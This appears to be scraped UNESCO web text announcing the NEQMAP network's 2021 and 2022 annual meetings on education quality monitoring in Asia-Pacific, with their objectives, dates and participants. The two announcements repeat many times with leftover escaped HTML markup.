The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

